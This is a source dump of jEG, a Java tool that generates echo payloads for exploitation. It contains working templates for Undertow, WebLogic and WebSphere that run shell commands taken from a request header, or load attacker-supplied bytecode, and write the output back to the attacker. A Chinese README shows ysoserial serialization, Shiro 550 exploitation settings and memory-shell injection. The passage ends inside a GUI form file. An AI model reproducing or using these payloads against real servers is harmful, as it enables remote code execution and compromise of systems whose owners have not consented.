try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String execRes = "";
while (s.hasNext()) {
execRes += s.next();
}
return execRes;
} catch (Exception e) {
return e.getMessage();
}
}
private synchronized Object getFV(final Object o, final String s) throws Exception {
Field declaredField = null;
Class<?> clazz = o.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(s);
break;
}
catch (NoSuchFieldException ex) {
clazz = clazz.getSuperclass();
}
}
if (declaredField == null) {
throw new NoSuchFieldException(s);
}
declaredField.setAccessible(true);
return declaredField.get(o);
}
private synchronized Object invokeMethod(final Object obj,final String methodName,Class[] paramClazz,Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Method method = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class){
try {
method = clazz.getDeclaredMethod(methodName,paramClazz);
break;
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
return method.invoke(obj,param);
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/undertow/UndertowCodeExecTpl.java
================================================
package jeg.core.template.undertow;
import java.io.PrintWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class UndertowCodeExecTpl {
static {
new UndertowCodeExecTpl();
}
private static String getReqParamName() {
return "code";
}
public UndertowCodeExecTpl() {
run();
}
private void run() {
try {
Thread thread = Thread.currentThread();
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry == null) continue;
Object value = getFV(entry, "value");
if (value != null && value.getClass().getName().contains("ServletRequestContext")) {
Object request = getFV(value, "servletRequest");
String code = (String) invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{getReqParamName()});
if (code != null && code != "") {
Object response = getFV(value, "servletResponse");
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", new Class[0], new Object[0]);
writer.write(exec(code));
writer.flush();
writer.close();
}
}
}
} catch (Exception e) {
}
}
private synchronized Object getFV(final Object o, final String s) throws Exception {
Field declaredField = null;
Class<?> clazz = o.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(s);
break;
} catch (NoSuchFieldException ex) {
clazz = clazz.getSuperclass();
}
}
if (declaredField == null) {
throw new NoSuchFieldException(s);
}
declaredField.setAccessible(true);
return declaredField.get(o);
}
private synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Method method = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, paramClazz);
break;
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
return method.invoke(obj, param);
}
private String exec(String var2) {
try {
byte[] clazzByte = base64Decode(var2);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);
return clazz.newInstance().toString();
} catch (Exception e) {
return e.getMessage();
}
}
private byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var4) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/weblogic/WebLogicCmdExecTpl.java
================================================
package jeg.core.template.weblogic;
import jeg.core.template.undertow.UndertowCmdExecTpl;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
/**
* test in weblogic 10.3.6.0/12.1.3.0/12.2.1.3.0
*/
public class WebLogicCmdExecTpl {
static {
new WebLogicCmdExecTpl();
}
// 传参：需要执行的命令
private String getReqHeaderName() {
return "cmd";
}
public WebLogicCmdExecTpl() {
run();
}
private void run(){
String command = null;
Thread thread = Thread.currentThread();
Object target = null;
PrintWriter writer = null;
try {
target = invokeMethod(thread, "getCurrentWork", new Class[0], new Object[0]);
command = (String) invokeMethod(target, "getHeader", new Class[]{String.class}, new Object[]{getReqHeaderName()});
Object response = invokeMethod(target, "getResponse", new Class[0], new Object[0]);
writer = (PrintWriter) invokeMethod(response, "getWriter", new Class[0], new Object[0]);
} catch (Exception e) {
try {
Object connectionHandler = getFV(target, "connectionHandler");
Object request = invokeMethod(connectionHandler, "getServletRequest", new Class[0], new Object[0]);
if (command == null) {
command = (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{getReqHeaderName()});
}
Object response = invokeMethod(connectionHandler, "getServletResponse", new Class[0], new Object[0]);
writer = (PrintWriter) invokeMethod(response, "getWriter", new Class[0], new Object[0]);
} catch (Exception ignored) {
}
}
// 执行命令
String execRes = exec(command);
// 回显执行结果
writer.write(execRes);
writer.flush();
writer.close();
}
// 执行模块
public String exec(String cmd){
try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String execRes = "";
while (s.hasNext()) {
execRes += s.next();
}
return execRes;
}catch (Exception e){
return e.getMessage();
}
}
private synchronized Object getFV(final Object o, final String s) throws Exception {
Field declaredField = null;
Class<?> clazz = o.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(s);
break;
} catch (NoSuchFieldException ex) {
clazz = clazz.getSuperclass();
}
}
if (declaredField == null) {
throw new NoSuchFieldException(s);
}
declaredField.setAccessible(true);
return declaredField.get(o);
}
private synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Method method = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, paramClazz);
break;
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
return method.invoke(obj, param);
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/weblogic/WebLogicCodeExecTpl.java
================================================
package jeg.core.template.weblogic;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class WebLogicCodeExecTpl {
static {
new WebLogicCodeExecTpl();
}
private String getReqParamName() {
return "code";
}
public WebLogicCodeExecTpl() {
run();
}
private void run() {
String code = null;
Thread thread = Thread.currentThread();
Object target = null;
PrintWriter writer = null;
try {
target = invokeMethod(thread, "getCurrentWork", new Class[0], new Object[0]);
code = (String) invokeMethod(target, "getParameter", new Class[]{String.class}, new Object[]{getReqParamName()});
Object response = invokeMethod(target, "getResponse", new Class[0], new Object[0]);
writer = (PrintWriter) invokeMethod(response, "getWriter", new Class[0], new Object[0]);
} catch (Exception e) {
try {
Object connectionHandler = getFV(target, "connectionHandler");
Object request = invokeMethod(connectionHandler, "getServletRequest", new Class[0], new Object[0]);
if (code == null) {
code = (String) invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{getReqParamName()});
}
Object response = invokeMethod(connectionHandler, "getServletResponse", new Class[0], new Object[0]);
writer = (PrintWriter) invokeMethod(response, "getWriter", new Class[0], new Object[0]);
} catch (Exception ignored) {
}
}
// define class
String execRes = exec(code);
// 回显执行结果
writer.write(execRes);
writer.flush();
writer.close();
}
private String exec(String var2) {
try {
byte[] clazzByte = base64Decode(var2);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);
return clazz.newInstance().toString();
} catch (Exception e) {
return e.getMessage();
}
}
private byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var4) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
private synchronized Object getFV(final Object o, final String s) throws Exception {
Field declaredField = null;
Class<?> clazz = o.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(s);
break;
} catch (NoSuchFieldException ex) {
clazz = clazz.getSuperclass();
}
}
if (declaredField == null) {
throw new NoSuchFieldException(s);
}
declaredField.setAccessible(true);
return declaredField.get(o);
}
private synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Method method = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, paramClazz);
break;
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
return method.invoke(obj, param);
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/websphere/WebSphereCmdExecTpl.java
================================================
package jeg.core.template.websphere;
import jeg.core.template.weblogic.WebLogicCodeExecTpl;
import java.io.InputStream;
import java.util.Scanner;
public class WebSphereCmdExecTpl {
static {
new WebSphereCmdExecTpl();
}
private String getReqHeaderName() {
return "cmd";
}
public WebSphereCmdExecTpl() {
run();
}
private void run() {
try {
Class clazz = Thread.currentThread().getClass();
java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
Object[] obj_arr = (Object[]) obj;
for (int i = 0; i < obj_arr.length; i++) {
Object o = obj_arr[i];
if (o == null) continue;
if (o.getClass().getName().endsWith("WebContainerRequestState")) {
Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]);
Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]);
String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{getReqHeaderName()});
if (cmd != null && !cmd.isEmpty()) {
String execRes = exec(cmd);
java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]);
printWriter.println(execRes);
}
break;
}
}
} catch (Exception e) {
}
}
private String exec(String cmd) {
try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String execRes = "";
while (s.hasNext()) {
execRes += s.next();
}
return execRes;
} catch (Exception e) {
return e.getMessage();
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/websphere/WebSphereCodeExecTpl.java
================================================
package jeg.core.template.websphere;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* 执行代码回显(classBytes)
*/
public class WebSphereCodeExecTpl {
static {
new WebSphereCodeExecTpl();
}
public WebSphereCodeExecTpl() {
run();
}
// 传参：类字节码
private String getReqParamName() {
return "code";
}
private void run() {
try {
Class clazz = Thread.currentThread().getClass();
Field field = clazz.getDeclaredField("wsThreadLocals");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
Object[] obj_arr = (Object[]) obj;
for (int i = 0; i < obj_arr.length; i++) {
Object o = obj_arr[i];
if (o == null) continue;
if (o.getClass().getName().endsWith("WebContainerRequestState")) {
Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]);
Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]);
String code = (String) req.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(req, new Object[]{getReqParamName()});
if (code != null && !code.isEmpty()) {
String execRes = exec(code);
java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]);
printWriter.println(execRes);
}
break;
}
}
} catch (Exception e) {
}
}
private String exec(String var2) {
try {
byte[] clazzByte = base64Decode(var2);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);
return clazz.newInstance().toString();
} catch (Exception e) {
return e.getMessage();
}
}
private byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var4) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/util/TemplateUtil.java
================================================
package jeg.core.util;
import jeg.core.config.jEGConstants;
import jeg.core.template.all.DFSCmdExecTpl;
import jeg.core.template.all.DFSCodeExecTpl;
import jeg.core.template.bes.BESCmdExecTpl;
import jeg.core.template.bes.BESCodeExecTpl;
import jeg.core.template.inforsuite.InforSuiteCmdExecTpl;
import jeg.core.template.inforsuite.InforSuiteCodeExecTpl;
import jeg.core.template.jetty.JettyCmdExecTpl;
import jeg.core.template.jetty.JettyCodeExecTpl;
import jeg.core.template.resin.ResinCmdExecTpl;
import jeg.core.template.resin.ResinCodeExecTpl;
import jeg.core.template.springmvc.SpringMVCCmdExecTpl;
import jeg.core.template.springmvc.SpringMVCCodeExecTpl;
import jeg.core.template.struts2.Struts2CmdExecTpl;
import jeg.core.template.struts2.Struts2CodeExecTpl;
import jeg.core.template.tomcat.TomcatCmdExecTpl;
import jeg.core.template.tomcat.TomcatCodeExecTpl;
import jeg.core.template.tongweb.TongWebCmdExecTpl;
import jeg.core.template.tongweb.TongWebCodeExecTpl;
import jeg.core.template.undertow.UndertowCmdExecTpl;
import jeg.core.template.undertow.UndertowCodeExecTpl;
import jeg.core.template.weblogic.WebLogicCmdExecTpl;
import jeg.core.template.weblogic.WebLogicCodeExecTpl;
import jeg.core.template.websphere.WebSphereCmdExecTpl;
import jeg.core.template.websphere.WebSphereCodeExecTpl;
import java.util.HashMap;
import java.util.Map;
public class TemplateUtil {
private static final Map<String, Map<String, String>> classMap = new HashMap();
public static String getEchoTplClassName(String serverType, String modleType) {
Map<String, String> tplMap = (Map) classMap.get(serverType);
return tplMap == null ? "" : tplMap.getOrDefault(modleType, "");
}
static {
// 1、jetty
Map<String, String> jettyMap = new HashMap();
jettyMap.put(jEGConstants.MODEL_CMD, JettyCmdExecTpl.class.getName());
jettyMap.put(jEGConstants.MODEL_CODE, JettyCodeExecTpl.class.getName());
classMap.put(jEGConstants.SERVER_JETTY, jettyMap);
// 2、resin
Map<String, String> resinMap = new HashMap();
resinMap.put(jEGConstants.MODEL_CMD, ResinCmdExecTpl.class.getName());
resinMap.put(jEGConstants.MODEL_CODE, ResinCodeExecTpl.class.getName());
classMap.put(jEGConstants.SERVER_RESIN, resinMap);
// 3、spring
Map<String, String> springmvcMap = new HashMap();
springmvcMap.put(jEGConstants.MODEL_CMD, SpringMVCCmdExecTpl.class.getName());
springmvcMap.put(jEGConstants.MODEL_CODE, SpringMVCCodeExecTpl.class.getName());
classMap.put(jEGConstants.SERVER_SPRING_MVC, springmvcMap);
// 4、struts2
Map<String, String> struts2Map = new HashMap();
struts2Map.put(jEGConstants.MODEL_CMD, Struts2CmdExecTpl.class.getName());
struts2Map.put(jEGConstants.MODEL_CODE, Struts2CodeExecTpl.class.getName());
classMap.put(jEGConstants.SERVER_STRUTS2, struts2Map);
// 5、tomcat
Map<String, String> tomcatMap = new HashMap();
tomcatMap.put(jEGConstants.MODEL_CMD, TomcatCmdExecTpl.class.getName());
tomcatMap.put(jEGConstants.MODEL_CODE, TomcatCodeExecTpl.class.getName());
classMap.put(jEGConstants.SERVER_TOMCAT, tomcatMap);
// 6、weblogic
Map<String, String> weblogicMap = new HashMap();
weblogicMap.put(jEGConstants.MODEL_CMD, WebLogicCmdExecTpl.class.getName());
weblogicMap.put(jEGConstants.MODEL_CODE, WebLogicCodeExecTpl.class.getName());
classMap.put(jEGConstants.SERVER_WEBLOGIC, weblogicMap);
// 7、websphere
Map<String, String> websphereMap = new HashMap();
websphereMap.put(jEGConstants.MODEL_CMD, WebSphereCmdExecTpl.class.getName());
websphereMap.put(jEGConstants.MODEL_CODE, WebSphereCodeExecTpl.class.getName());
classMap.put(jEGConstants.SERVER_WEBSPHERE, websphereMap);
// 8、undertow
Map<String, String> undertowMap = new HashMap();
undertowMap.put(jEGConstants.MODEL_CMD, UndertowCmdExecTpl.class.getName());
undertowMap.put(jEGConstants.MODEL_CODE, UndertowCodeExecTpl.class.getName());
classMap.put(jEGConstants.SERVER_UNDERTOW, undertowMap);
// 9、Unknown
Map<String, String> unknownMap = new HashMap();
unknownMap.put(jEGConstants.MODEL_CMD, DFSCmdExecTpl.class.getName());
unknownMap.put(jEGConstants.MODEL_CODE, DFSCodeExecTpl.class.getName());
classMap.put(jEGConstants.SERVER_UNKNOWN, unknownMap);
// 10、BES
Map<String, String> besMap = new HashMap();
besMap.put(jEGConstants.MODEL_CMD, BESCmdExecTpl.class.getName());
besMap.put(jEGConstants.MODEL_CODE, BESCodeExecTpl.class.getName());
classMap.put(jEGConstants.SERVER_BES, besMap);
// 11、InforSuite
Map<String, String> inforsuiteMap = new HashMap();
inforsuiteMap.put(jEGConstants.MODEL_CMD, InforSuiteCmdExecTpl.class.getName());
inforsuiteMap.put(jEGConstants.MODEL_CODE, InforSuiteCodeExecTpl.class.getName());
classMap.put(jEGConstants.SERVER_INFORSUITE, inforsuiteMap);
// 12、BES
Map<String, String> tongwebMap = new HashMap();
tongwebMap.put(jEGConstants.MODEL_CMD, TongWebCmdExecTpl.class.getName());
tongwebMap.put(jEGConstants.MODEL_CODE, TongWebCodeExecTpl.class.getName());
classMap.put(jEGConstants.SERVER_TONGWEB, tongwebMap);
}
}
================================================
FILE: jeg-core/src/test/java/GeneratorTest.java
================================================
import jeg.common.util.ClassUtil;
import jeg.core.config.jEGConstants;
import jeg.core.jEGenerator;
import jeg.core.config.jEGConfig;
public class GeneratorTest {
public static void main(String[] args) throws Throwable {
// 基本配置
jEGConfig config = new jEGConfig() {{
// 设置待回显的中间件为 tomcat
setServerType(jEGConstants.SERVER_TOMCAT);
// 设置待执行的 payload 为命令执行回显
setModelType(jEGConstants.MODEL_CMD);
// 设置 payload 的输出格式为 BASE64
setFormatType(jEGConstants.FORMAT_CLASS);
// 初始化基础配置
build();
}};
config.setLoaderClassName(ClassUtil.getRandomLoaderClassName());
// 生成 payload
jEGenerator generator = new jEGenerator(config);
System.out.println("请求头: " + config.getReqHeaderName());
String payload = generator.getPayload();
System.out.println(payload.length());
System.out.println(payload);
}
}
================================================
FILE: jeg-docs/1.0.0/README.md
================================================
---
title: jEG v1.0.0 - 高度自定义的 Java 回显生成工具
author: pen4uin
date: 2023-09-28
---
# jEG v1.0.0 - 高度自定义的 Java 回显生成工具
## 0x01 简介
**jEG (Java Echo Generator)** 是一款支持高度自定义的 Java 回显载荷生成工具。
功能介绍
- 支持的中间件和框架
- Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow
- SpringMVC/Struts2
- 支持的执行模式 (Command/Code)
- 支持的输出格式 (BASE64/BCEL/BIGINTEGER/CLASS/JAR/JS)
执行模式
- 命令执行回显
- 代码执行回显（toString）
工作模式
- 作为 独立的 GUI 工具
- 作为 woodpecker 的插件
- 作为 第三方库
下载地址
- https://github.com/pen4uin/java-echo-generator
## 0x02 工具演示
### 两种执行模式
**命令执行**
0、测试环境说明
- Tomcat v8.5.91
- JDK 8
- 原生反序列化漏洞
- CommonsBeanutils2
1、生成对应命令执行回显的 payload，继承 AbstractTranslet
2、使用 yso 进行序列化利用封装
```shell
java -jar ysoserial-for-woodpecker-0.5.3-all.jar -g CommonsBeanutils2 -a "class_file:/Users/NotFound/Temp/SessionDataUtil.class" | base64
```
3、通过请求头 Cache-Control-Ymirvesoc 传入需要执行的命令，如图，命令成功执行并回显
**代码执行**
0、测试环境说明
- SpringBoot 2.2.6.RELEASE
- JDK 8
- Shiro 550
- CommonsBeanutils2_183
1、生成对应代码执行回显的 payload，继承 AbstractTranslet
2、使用 shiro 漏洞利用插件对 payload 进行加密处理
```
yso_gadget=CommonsBeanutils2_183
yso_cmd=class_file:/Users/NotFound/Temp/CSVUtil.class
shiro_key=kPH+bIxk5D2deZiIxcaaaA==
aes_model=CBC
```
3、准备需要执行的代码，这里以shiro常见的漏洞利用场景作为演示 - 注入内存马，使用 jMG 生成BASE64格式的内存马注入器
4、通过请求参数 Dsyoi 传入需要执行的字节码，如图，代码成功执行并回显
5、内存马注入成功
### 三种工作模式
**图形化**
1、下载 jEG-gui-1.0.0.jar 运行即可
**Woodpecker 插件**
1、下载 jEG-woodpecker-1.0.0.jar 到 woodpecker 插件目录下即可
**第三方库**
1、下载 jEG-core-1.0.0.jar 并安装到本地 maven 仓库
```shell
mvn install:install-file -Dfile=jEG-core-1.0.0.jar -DgroupId=jeg -DartifactId=jeg-core -Dversion=1.0.0 -Dpackaging=jar
```
2、引入自己的框架/工具的依赖中
```xml
<dependency>
<groupId>jeg</groupId>
<artifactId>jeg-core</artifactId>
<version>1.0.0</version>
</dependency>
```
3、调用 API 生成需要的回显载荷即可
## 0x03 小结
从 jMG 到 jEG，Java 漏洞利用的造“轮子”之旅也算可以告一段落了。
最后祝大家节日快乐！
<br>
参考
- https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
- https://gist.github.com/fnmsd/8165cedd9fe735d7ef438b2e977af327
- https://github.com/feihong-cs/Java-Rce-Echo
================================================
FILE: jeg-docs/README_EN.md
================================================
todo
================================================
FILE: jeg-gui/pom.xml
================================================
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>jeg</groupId>
<artifactId>java-echo-generator</artifactId>
<version>${reversion}</version>
</parent>
<artifactId>jEG-gui</artifactId>
<dependencies>
<dependency>
<groupId>com.intellij</groupId>
<artifactId>forms_rt</artifactId>
<version>7.0.3</version>
</dependency>
<dependency>
<groupId>com.formdev</groupId>
<artifactId>flatlaf</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>jeg</groupId>
<artifactId>jEG-core</artifactId>
<version>${reversion}</version>
</dependency>
</dependencies>
<build>
<finalName>${artifactId}-${reversion}</finalName>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.6.0</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<mainClass>jeg.gui.jEGApp</mainClass>
</manifest>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
================================================
FILE: jeg-gui/src/main/java/jeg/gui/form/jEGForm.form
================================================
<?xml version="1.0" encoding="UTF-8"?>
<form xmlns="http://www.intellij.com/uidesigner/form/" version="1" bind-to-class="jeg.gui.form.jEGForm">
<grid id="27dc6" binding="jEGPanel" layout-manager="GridLayoutManager" row-count="7" column-count="1" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
<margin top="0" left="0" bottom="0" right="0"/>
<constraints>
<xy x="20" y="20" width="863" height="665"/>
</constraints>
<properties/>
<border type="none"/>
<children>
<grid id="3afd3" binding="TopPanel" layout-manager="GridLayoutManager" row-count="1" column-count="8" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
<margin top="0" left="0" bottom="0" right="0"/>
<constraints>
<grid row="0" column="0" row-span="1" col-span="1" vsize-policy="3" hsize-policy="3" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
</constraints>
<properties/>
<border type="none"/>
<children>
<component id="c4be0" class="javax.swing.JLabel" binding="serverLabel">
<constraints>
<grid row="0" column="0" row-span="1" col-span="1" vsize-policy="2" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="中间件/框架"/>
</properties>
</component>
<component id="b6735" class="javax.swing.JLabel" binding="formatLabel">
<constraints>
<grid row="0" column="6" row-span="1" col-span="1" vsize-policy="2" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="输出格式"/>
</properties>
</component>
<component id="55e33" class="javax.swing.JLabel" binding="modelLabel">
<constraints>
<grid row="0" column="2" row-span="1" col-span="1" vsize-policy="2" hsize-policy="0" anchor="0" fill="1" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="回显模式"/>
</properties>
</component>
<component id="50832" class="javax.swing.JLabel" binding="gadgetLabel">
<constraints>
<grid row="0" column="4" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="利用类型"/>
</properties>
</component>
<component id="9f7e2" class="javax.swing.JComboBox" binding="serverBox">
<constraints>
<grid row="0" column="1" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="8" fill="1" indent="0" use-parent-layout="false">
<preferred-size width="139" height="-1"/>
</grid>
</constraints>
<properties>
<model>
<item value="Tomcat"/>
<item value="SpringMVC"/>
<item value="Weblogic"/>
<item value="Websphere"/>
<item value="Resin"/>
<item value="Undertow"/>
<item value="Jetty"/>
<item value="SpringWebFlux"/>
</model>
</properties>
</component>
<component id="4aed2" class="javax.swing.JComboBox" binding="modelBox">
<constraints>
<grid row="0" column="3" row-span="1" col-span="1" vsize-policy="0" hsize-policy="7" anchor="0" fill="1" indent="0" use-parent-layout="false">
<preferred-size width="139" height="-1"/>
</grid>
</constraints>
<properties>
<model>
<item value="Command"/>
<item value="Code"/>
</model>
</properties>
</component>
<component id="427be" class="javax.swing.JComboBox" binding="gadgetBox">
<constraints>
<grid row="0" column="5" row-span="1" col-span="1" vsize-policy="0" hsize-policy="7" anchor="8" fill="1" indent="0" use-parent-layout="false">
<preferred-size width="150" height="-1"/>
</grid>
</constraints>
<properties>
<model>
<item value="NONE"/>
<item value="JDK_AbstractTranslet"/>
<item value="XALAN_AbstractTranslet"/>
</model>
</properties>
</component>
<component id="5feb" class="javax.swing.JComboBox" binding="formatBox">
<constraints>
<grid row="0" column="7" row-span="1" col-span="1" vsize-policy="0" hsize-policy="7" anchor="8" fill="1" indent="0" use-parent-layout="false">
<preferred-size width="150" height="-1"/>
</grid>
</constraints>
<properties>
<model>
<item value="BASE64"/>
<item value="BIGINTEGER"/>
<item value="BCEL"/>
<item value="CLASS"/>
<item value="JAR"/>
<item value="JS"/>
</model>
</properties>
</component>
</children>
</grid>
<scrollpane id="df5d3" binding="textScrollPane">
<constraints>
<grid row="5" column="0" row-span="1" col-span="1" vsize-policy="6" hsize-policy="7" anchor="0" fill="3" indent="0" use-parent-layout="false">
<minimum-size width="-1" height="360"/>
<preferred-size width="36" height="207"/>
</grid>
</constraints>
<properties/>
<border type="none"/>
<children>
<component id="2f007" class="javax.swing.JTextPane" binding="textPane">
<constraints/>
<properties/>
</component>
</children>
</scrollpane>
<grid id="3932" binding="MiddlePanel" layout-manager="GridLayoutManager" row-count="2" column-count="4" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
<margin top="0" left="0" bottom="0" right="0"/>
<constraints>
<grid row="2" column="0" row-span="1" col-span="1" vsize-policy="3" hsize-policy="3" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
</constraints>
<properties/>
<border type="none"/>
<children>
<component id="f1c80" class="javax.swing.JLabel" binding="reqParamNameLabel">
<constraints>
<grid row="0" column="2" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="请求参数"/>
</properties>
</component>
<component id="feb40" class="javax.swing.JTextField" binding="reqParamText">
<constraints>
<grid row="0" column="3" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="8" fill="1" indent="0" use-parent-layout="false">
<preferred-size width="150" height="-1"/>
</grid>
</constraints>
<properties>
<toolTipText value="可选，默认随机生成"/>
</properties>
</component>
